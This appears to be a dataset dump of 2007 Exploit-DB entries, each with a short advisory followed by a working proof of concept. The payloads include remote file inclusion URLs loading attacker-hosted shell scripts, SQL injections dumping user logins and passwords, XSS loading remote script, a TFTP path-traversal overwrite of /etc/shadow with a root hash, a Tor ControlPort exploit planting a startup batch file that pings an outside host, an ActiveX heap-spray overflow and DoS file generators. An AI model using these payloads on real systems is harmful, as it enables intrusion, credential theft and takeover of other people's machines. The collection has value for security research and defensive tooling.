QLWD/code_shield huggingface dataset:
标题: File Uploader 1.1 - 'index.php?config[root_ordner]' Remote File Inclusion EDB-ID: 30466 CVE: 2007-4327 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/25253/info

File Uploader is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

File Uploader 1.1 is vulnerable; other versions may also be affected. 


http://www.example.com/index.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id URL: https://www.exploit-db.com/exploits/30466
标题: BlueCat Networks Adonis 5.0.2.8 - TFTP Privilege Escalation EDB-ID: 30454 CVE: 2007-4226 类型: REMOTE 平台: LINUX 发布日期: 2007-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/25214/info

BlueCat Networks Adonis devices are prone to a remote privilege-escalation vulnerability. This issue occurs when Proteus appliances are used to upload files to an affected Adonis appliance for TFTP download.

An attacker with administrative privileges can exploit this issue to write arbitrary data with superuser privileges. A successful attack will result in the complete compromise of an affected appliance.

Adonis 5.0.2.8 is vulnerable; other versions may also be affected. 

  0) Create a new TFTP Group in a Proteus configuration.

  1) Add a TFTP deployment role specifying an Adonis appliance to
     the group.

  2) At the top-level folder in the new TFTP group, add a file
     named "../etc/shadow" (without the quotes) and load a file
     containing the following line:

     root:Im0Zgl8tnEq9Y:13637:0:99999:7:::

     NOTE: The sshd configuration uses the default setting
     'PermitEmptyPasswords no', so we specify a password of
     bluecat.

  3) Deploy the configuration to the Adonis appliance.

  4) You can now login to the Adonis appliance as root with
     password bluecat.

     $ ssh root@192.168.1.11
     root@192.168.1.11's password:
     # cat /etc/shadow
     root:Im0Zgl8tnEq9Y:13637:0:99999:7:::

     NOTE: This example assumes SSH is enabled, iptables permits
     port tcp/22, etc.

  Many attack variations are possible, such as changing system
  startup scripts to modify the iptables configuration on the
  appliance. URL: https://www.exploit-db.com/exploits/30454
标题: J! Reactions 1.8.1 - comPath Remote File Inclusion EDB-ID: 30452 CVE: 2007-4244 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/25198/info

J! Reactions is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects J! Reactions 1.8.1; other versions may also be vulnerable.

http://www.example.com/administrator/components/com_jreactions/langset.php?comPath=Evil? URL: https://www.exploit-db.com/exploits/30452
标题: snif 1.5.2 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30453 CVE: 2007-4264 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/25212/info

The 'snif' program is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect snif 1.5.2; other versions may also be affected. 

http://www.example.com/index.php?path=[xss]
http://www.example.com/index.php?download=[xss] URL: https://www.exploit-db.com/exploits/30453
标题: VietPHP - 'index.php?language' Remote File Inclusion EDB-ID: 30459 CVE: 2007-4235 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/25226/info
  
VietPHP is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
http://www.example.com/index.php??language=Sh3LL URL: https://www.exploit-db.com/exploits/30459
标题: Coppermine Photo Gallery 1.3/1.4 - 'YABBSE.INC.php' Remote File Inclusion EDB-ID: 30463 CVE: 2007-4283 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/25243/info

Coppermine Photo Gallery is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Coppermine 1.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/path/bridge/yabbse.inc.php?sourcedir=[Sh3LL] URL: https://www.exploit-db.com/exploits/30463
标题: VietPHP - '_functions.php?dirpath' Remote File Inclusion EDB-ID: 30456 CVE: 2007-4235 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/25226/info

VietPHP is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/_functions.php?dirpath=Sh3LL URL: https://www.exploit-db.com/exploits/30456
标题: Next Gen Portfolio Manager - 'default.asp' Multiple SQL Injections EDB-ID: 30451 CVE: 2007-4208 类型: WEBAPPS 平台: ASP 发布日期: 2007-08-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/25195/info

Next Gen Portfolio Manager is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/default.asp?ExecuteTheLogin=1&Users_Email=anything%27+OR+%27x%27%3D%27x&Users_Password=anything%27+OR+%27x%27%3D%27x URL: https://www.exploit-db.com/exploits/30451
标题: Generic Software Wrappers Toolkit 1.6.3 (GSWTK) - Race Condition Privilege Escalation EDB-ID: 30464 CVE: 2007-4302 类型: LOCAL 平台: LINUX 发布日期: 2007-08-09 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/25251/info

GSWKT (Generic Software Wrappers Toolkit) is prone to multiple concurrency vulnerabilities because of its implementation of system call wrappers. This problem can result in a race condition between a user thread and the kernel.

Attackers can exploit these issues by replacing certain values in system call wrappers with malicious data to elevate privileges or to bypass auditing. Successful attacks can completely compromise affected computers.

GSWKT 1.6.3 is vulnerable; other versions may also be affected. 
*/

#define EVIL_NAME ./home/ko/.forward.
#define REAL_NAME ./home/ko/Inbox.
volatile char *path;
/* Set up path string so nul is on different page. */
path = fork_malloc_lastbyte(sizeof(EVIL_NAME));
strcpy(path, EVIL_NAME);
/* Page out the nul so reading it causes a fault. */
pageout_lastbyte(path, sizeof(EVIL_NAME));
/* Create a child to overwrite path on next fault. */
pid = fork_and_overwrite_up(path, REAL_NAME,
sizeof(REAL_NAME));
fd = open(path, O_RDRW); URL: https://www.exploit-db.com/exploits/30464
标题: VietPHP - '/admin/index.php?language' Remote File Inclusion EDB-ID: 30457 CVE: 2007-4235 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/25226/info
 
VietPHP is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
http://www.example.com/path/admin/index.php?language=Sh3LL URL: https://www.exploit-db.com/exploits/30457
标题: Microsoft Windows Media Player 11 - AU Divide-by-Zero Denial of Service EDB-ID: 30462 CVE: 2007-4288 类型: DOS 平台: WINDOWS 发布日期: 2007-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/25236/info

Microsoft Windows Media Player is prone to a denial-of-service vulnerability when processing a malformed AU file.

A remote attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects Microsoft Windows Media Player 11; other versions may also be affected. 

#Windows Media Player 11 local/remote DoS by A.Sawan aka NtWaK0 and 
A.Hariri aka nophie


import sys
import os

head = 
("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"+
       
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"+
       
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"+
       
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       "\x00\x00\x00\x00\x00\x00\x00\x00\x66\x66\x66\x00")

print "[x] Windows Media Player 11 DoS by A.Sawan aka NtWaK0 and 
A.Hariri aka Nophie."

try:
   f = open("iapetus.au",'w')
except IOError, e:
    print "Unable to open file ", e
    sys.exit(0)

print "[x] File sucessfully opened for writing."
try:
   f.write(head)
except IOError, e:
    print "Unable to write to file ", e
    sys.exit(0)
print "[x] File successfully written."
f.close()
print "[x] Open iapetus.au with Windows Media Player 11."

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30462-1.au
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30462-2.py URL: https://www.exploit-db.com/exploits/30462
标题: Lanius CMS 1.2.14 GALLERY Module - 'gid' SQL Injection EDB-ID: 30450 CVE: 2007-4210 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/25193/info
  
LANAI CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
LANAI CMS 1.2.14 is vulnerable; other versions may also be affected. 

http://www.example.com/module.php?modname=gallery&mf=view&gid=1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,userLogin,userPassword,4/**/FROM/**/tbl_ln_user/* URL: https://www.exploit-db.com/exploits/30450
标题: Joomla! Component Tour de France Pool 1.0.1 Module - MosConfig_absolute_path Remote File Inclusion EDB-ID: 30445 CVE: 2007-4186 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/25183/info

Tour de France Pool for Joomla is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects Tour de France Pool 1.0.1; other versions may also be vulnerable. 

http://www.example.com/administrator/components/com_tour_toto/admin.tour_toto.php?mosConfig_absolute_path= URL: https://www.exploit-db.com/exploits/30445
标题: Hunkaray Okul Portali 1.1 - 'Duyuruoku.asp' SQL Injection EDB-ID: 30446 CVE: 2007-4173 类型: WEBAPPS 平台: ASP 发布日期: 2007-08-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/25185/info

Hunkaray Okul Portali is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Hunkaray Okul Portali 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/script_path/duyuruoku.asp?id=1+union+select+0,1,sifre,3+from+admin URL: https://www.exploit-db.com/exploits/30446
标题: Lanius CMS 1.2.14 EZSHOPINGCART Module - 'cid' SQL Injection EDB-ID: 30449 CVE: 2007-4210 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/25193/info
 
LANAI CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
LANAI CMS 1.2.14 is vulnerable; other versions may also be affected. 

http://www.example.com/module.php?modname=ezshopingcart&ac=c&cid=1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,concat(userLogin,'-',userPassword),4,5/**/FROM/**/tbl_ln_user/* URL: https://www.exploit-db.com/exploits/30449
标题: WebDirector - 'index.php' Cross-Site Scripting EDB-ID: 30442 CVE: 2007-4178 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/25166/info

WebDirector is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.php?deslocal=[xss] URL: https://www.exploit-db.com/exploits/30442
标题: Global Centre Aplomb Poll 1.1 - 'index.php?Madoa' Remote File Inclusion EDB-ID: 30436 CVE: 2007-4101 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/25138/info

Aplomb Poll is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Aplomb Poll 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?Madoa=http://sheel.txt? URL: https://www.exploit-db.com/exploits/30436
标题: Global Centre Aplomb Poll 1.1 - 'vote.php?Madoa' Remote File Inclusion EDB-ID: 30437 CVE: 2007-4101 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/25138/info
 
Aplomb Poll is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
 
Aplomb Poll 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/vote.php?Madoa=http://sheel.txt? URL: https://www.exploit-db.com/exploits/30437
标题: WebEvent 4.03 - 'Webevent.cgi' Cross-Site Scripting EDB-ID: 30440 CVE: 2007-4146 类型: WEBAPPS 平台: CGI 发布日期: 2007-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/25148/info

WebEvent is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/cgi-bin/webevent/webevent.cgi?cmd=%22%3CSCRIPT+SRC=http://www.example2.com/xss.js%3E%3C/SCRIPT%3E URL: https://www.exploit-db.com/exploits/30440
标题: Global Centre Aplomb Poll 1.1 - 'admin.php?Madoa' Remote File Inclusion EDB-ID: 30438 CVE: 2007-4101 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/25138/info
 
Aplomb Poll is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
 
Aplomb Poll 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin.php?Madoa=http://shell.txt? URL: https://www.exploit-db.com/exploits/30438
标题: KDE Konqueror 3.5.7 - Assert Denial of Service EDB-ID: 30444 CVE: 2007-4229 类型: DOS 平台: LINUX 发布日期: 2007-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/25170/info

KDE Konqueror is prone to a remote denial-of-service vulnerability because it fails to handle improperly formated HTML code.

An attacker may exploit this vulnerability to cause Konqueror to crash, resulting in denial-of-service conditions.

Konqueror 3.5.7 and prior versions are reported vulnerable. 


 <textarea></button>&lt;/textarea&gt;</br><bdo dir="">
 <pre><frameset>
  <a> URL: https://www.exploit-db.com/exploits/30444
标题: Lanius CMS 1.2.14 FAQ Module - 'mid' SQL Injection EDB-ID: 30448 CVE: 2007-4210 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/25193/info

LANAI CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

LANAI CMS 1.2.14 is vulnerable; other versions may also be affected. 

http://www.example.com/module.php?modname=faq&mf=faqviewgroup&mid=1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,userLogin,userPassword,5,6,7/**/FROM/**/tbl_ln_user/* URL: https://www.exploit-db.com/exploits/30448
标题: Mozilla Firefox/Thunderbird/SeaMonkey - Chrome-Loaded About:Blank Script Execution EDB-ID: 30439 CVE: 2007-3844 类型: REMOTE 平台: LINUX 发布日期: 2007-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/25142/info

Mozilla Firefox, Thunderbird, and SeaMonkey are prone to a vulnerability that allows JavaScript to execute with unintended privileges.

A malicious site may be able to cause the execution of a script with Chrome privileges. Attackers could exploit this issue to execute hostile script code with privileges that exceed those that were intended. Certain Firefox extensions may not intend 'about:blank' to execute script code with Chrome privileges.

NOTE: This issue was introduced by the fix for MFSA 2007-20. 

The following proof of concept is available:

w=open("about:blank");alert(1);u="javascript:alert(Components.stack);";w.document.body.innerHTML=u.link(u);w.focus();1 or top.opener.content.location="about:blank";alert(1);u="javascript:alert(Components.stack);";(w=top.opener.content).document.body.innerHTML=u.link(u);w.focus();1 URL: https://www.exploit-db.com/exploits/30439
标题: Tor 0.1.2.15 - ControlPort Missing Authentication Unauthorized Access EDB-ID: 30447 CVE: 2007-4174 类型: REMOTE 平台: WINDOWS 发布日期: 2007-08-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/25188/info

Tor is prone to an unauthorized-access vulnerability due to a design error when handling multiple connections to the ControlPort.

An attacker can exploit this issue to reconfigure Tor and significantly weaken the anonymity provided by the software.

Tor 0.1.2.15 is confirmed vulnerable; previous versions may also be affected. 

<!-- 

Tor < 0.1.2.16 with ControlPort enabled ( not default )
Exploit for Tor ControlPort "torrc" Rewrite Vulnerability 
http://secunia.com/advisories/26301

Rewrites the torrc to log to a different location: C:\Documents and 
Settings\All Users\Start Menu\Programs\Startup\t.bat
Also enables debug logging, and an erroneous ExitPolicy looking 
something like this: reject*:1337\&#039;&&#039; calc.exe  this will output:
[debug] parse_addr_policy(): Adding new entry &#039;reject*:1337&#039;& calc.exe 
to the debug log -> t.bat which will run calc.exe on next boot.

This is not very silent though, t.bat will contain something like 45 
rows of crap which the user will see in about 1 sec, drop me a mail if 
you have a better way.

Either have a TOR user visit this HTML or inject it into her traffic 
when you&#039;re a TOR exit.
If you inject, just replace </HEAD> with everything in <HEAD> + </HEAD> 
( that&#039;s why I tried to fit everything inside <HEAD />), and fix 
Content-Length

// elgCrew _AT_ safe-mail.net
-->

<html>
<head>
<script language="javascript">

window.onload = function()
{

 cmd = &#039;cls & echo off & ping -l 1329 my.tcpdump.co -n 1 -w 1 > 
NUL & del t.bat > NUL & exit&#039;;
 inject = &#039;\r\nAUTHENTICATE\r\nSETCONF Log=\"debug-debug file 
C:\\\\Documents and Settings\\\\All Users\\\\Start 
Menu\\\\Programs\\\\Startup\\\\t.bat\"\r\nSAVECONF\r\nSIGNAL 
RELOAD\r\nSETCONF ExitPolicy=\"reject*:1337\\\&#039;&&#039; + cmd + 
&#039;&\"\r\nSETCONF Log=\"info file c:\\\\tor.txt\"\r\nSAVECONF\r\nSIGNAL 
RELOAD\r\n&#039;;
 
 form51.area51.value = inject;
 document.form51.submit();
}
</script>

<form target="hiddenframe" name="form51" 
action="http://localhost.mil.se:9051" method=POST 
enctype="multipart/form-data">
<input type=hidden name=area51>
</form>
<iframe width=0 height=0 frameborder=0 name="hiddenframe"></iframe>
</head>

<body>
<pre>
  ----
 | y0! |
  ----
          \  \_\_    _/_/
           \     (oo)\_______
                 |_|\        )*
                     ||----w |
                     ||     ||
</pre>
</body>
</html> URL: https://www.exploit-db.com/exploits/30447
标题: BlueSkyChat ActiveX Control 8.1.2 - Remote Buffer Overflow EDB-ID: 30441 CVE: 2007-4145 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/25149/info

BlueSkyChat ActiveX control is prone to a buffer-overflow vulnerability because it fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

BlueSkyChat ActiveX control 8.1.2.0 is vulnerable to this issue; other versions may also be affected. 

<html>
<head>
<OBJECT ID="com" CLASSID="CLSID:{2EA6D939-4445-43F1-A12B-8CB3DDA8B855}">
</OBJECT>
</head>
<body>
<SCRIPT language="javascript">

function ClickForRunCalc()
{
    var heapSprayToAddress = 0x0d0d0d0d;

    var payLoadCode = "A" ;
    while (payLoadCode.length <= 10000) payLoadCode+='A';
    com.ConnecttoServer("1",payLoadCode,"3","4","5");
}
</script>
<button onclick="javascript:ClickForRunCalc();">ClickForRunCalc</button>
</body>
</html> URL: https://www.exploit-db.com/exploits/30441